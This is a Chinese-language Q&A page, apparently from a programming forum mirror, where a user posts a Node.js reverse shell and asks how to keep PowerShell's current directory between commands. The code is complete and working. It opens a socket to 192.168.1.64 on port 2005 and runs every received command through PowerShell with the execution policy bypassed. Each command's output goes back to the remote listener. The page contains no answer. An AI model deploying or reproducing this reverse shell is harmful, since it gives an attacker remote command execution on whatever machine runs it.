首页 > 解决方案 > 将位置(文件夹)从 powershell 保存到 nodejs

问题描述

我在nodejs中做一个反向shell,它很好......但是有一个问题它无法从powershell保存当前位置,所以我吸进了脚本所在的文件夹,你可以在这个打印上看到netcat:https ://prnt.sc/14rm1yq


var client = new net.Socket();
client.connect(2005, '192.168.1.64', function() {
    console.log('Connected');
    client.write('Boas mpt, pelos vistos temos uma shell');
  client.write('\n');

});



client.on('data', function(data) {
    console.log('Shell disse: ' + data);
   
    const shell = require('node-powershell');
    let ps = new shell({
    executionPolicy: 'Bypass',
    noProfile: true
  });
   var buf = Buffer.from(data);
   var shellHe = buf.toString()
   ps.addCommand(shellHe)
   ps.addCommand("Get-Location")
   ps.invoke().then(output => {
    client.write(output);
  }).catch(err => {
    client.write(err);
  ps.dispose();
});
    
});

client.on('close', function() {
    console.log('Connection closed');
});```

标签: javascriptnode.jsconnectionnetcatreverse-shell

解决方案


推荐阅读